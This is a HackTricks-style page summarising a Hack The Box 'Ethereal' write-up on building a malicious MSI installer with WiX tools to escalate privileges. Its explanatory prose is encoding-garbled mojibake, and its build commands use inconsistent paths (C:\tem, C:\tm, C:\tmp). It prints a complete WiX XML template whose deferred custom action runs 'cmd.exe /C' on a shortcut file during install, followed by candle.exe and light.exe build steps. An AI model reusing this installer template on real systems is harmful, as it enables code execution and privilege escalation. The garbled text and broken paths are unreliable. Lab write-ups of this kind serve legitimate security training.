Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ ์ฑ MSI ์์ฑ ๋ฐ ๋ฃจํธ ๊ถํ ํ๋
MSI ์ค์น ํ๋ก๊ทธ๋จ์ ์์ฑ์ wixtools๋ฅผ ์ฌ์ฉํ์ฌ ์ํ๋๋ฉฐ, ํนํ wixtools๊ฐ ํ์ฉ๋ฉ๋๋ค. ๋์ฒด MSI ๋น๋๊ฐ ์๋๋์์ผ๋, ์ด ํน์ ๊ฒฝ์ฐ์๋ ์ฑ๊ณตํ์ง ๋ชปํ๋ค๋ ์ ์ ์ฃผ๋ชฉํ ๋งํฉ๋๋ค.
wix MSI ์ฌ์ฉ ์์ ๋ํ ํฌ๊ด์ ์ธ ์ดํด๋ฅผ ์ํด ์ด ํ์ด์ง๋ฅผ ์ฐธ์กฐํ๋ ๊ฒ์ด ์ข์ต๋๋ค. ์ฌ๊ธฐ์์๋ wix MSI ์ฌ์ฉ์ ๋ณด์ฌ์ฃผ๋ ๋ค์ํ ์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
๋ชฉํ๋ lnk ํ์ผ์ ์คํํ MSI๋ฅผ ์์ฑํ๋ ๊ฒ์ ๋๋ค. ์ด๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํด ๋ค์ XML ์ฝ๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค (xml from here):
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
Package ์์์๋ InstallerVersion ๋ฐ Compressed์ ๊ฐ์ ์์ฑ์ด ํฌํจ๋์ด ์์ผ๋ฉฐ, ์ด๋ ๊ฐ๊ฐ ์ค์น ํ๋ก๊ทธ๋จ์ ๋ฒ์ ์ ์ง์ ํ๊ณ ํจํค์ง๊ฐ ์์ถ๋์๋์ง ์ฌ๋ถ๋ฅผ ๋ํ๋ ๋๋ค.
์์ฑ ๊ณผ์ ์๋ wixtools์ ๋๊ตฌ์ธ candle.exe๋ฅผ ์ฌ์ฉํ์ฌ msi.xml์์ wixobject๋ฅผ ์์ฑํ๋ ๊ฒ์ด ํฌํจ๋ฉ๋๋ค. ๋ค์ ๋ช ๋ น์ ์คํํด์ผ ํฉ๋๋ค:
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
์ถ๊ฐ์ ์ผ๋ก, ๊ฒ์๋ฌผ์ ๋ช ๋ น๊ณผ ๊ทธ ์ถ๋ ฅ์ด ํฌํจ๋ ์ด๋ฏธ์ง๊ฐ ์ ๊ณต๋๋ค๋ ์ ์ ์ธ๊ธํ ๊ฐ์น๊ฐ ์์ต๋๋ค. ์๊ฐ์ ์๋ด๋ฅผ ์ํด ์ฐธ์กฐํ ์ ์์ต๋๋ค.
๋ํ, wixtools์ ๋ ๋ค๋ฅธ ๋๊ตฌ์ธ light.exe๊ฐ wixobject์์ MSI ํ์ผ์ ์์ฑํ๋ ๋ฐ ์ฌ์ฉ๋ ๊ฒ์ ๋๋ค. ์คํํ ๋ช ๋ น์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
์ด์ ๋ช ๋ น๊ณผ ์ ์ฌํ๊ฒ, ๋ช ๋ น๊ณผ ๊ทธ ์ถ๋ ฅ์ ์ค๋ช ํ๋ ์ด๋ฏธ์ง๊ฐ ๊ฒ์๋ฌผ์ ํฌํจ๋์ด ์์ต๋๋ค.
์ด ์์ฝ์ด ์ ์ฉํ ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ์ง๋ง, ๋ณด๋ค ํฌ๊ด์ ์ธ ์ธ๋ถ์ ๋ณด์ ์ ํํ ์ง์นจ์ ์ํด ์๋ณธ ๊ฒ์๋ฌผ์ ์ฐธ์กฐํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
References
- https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root
- https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with wixtools
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


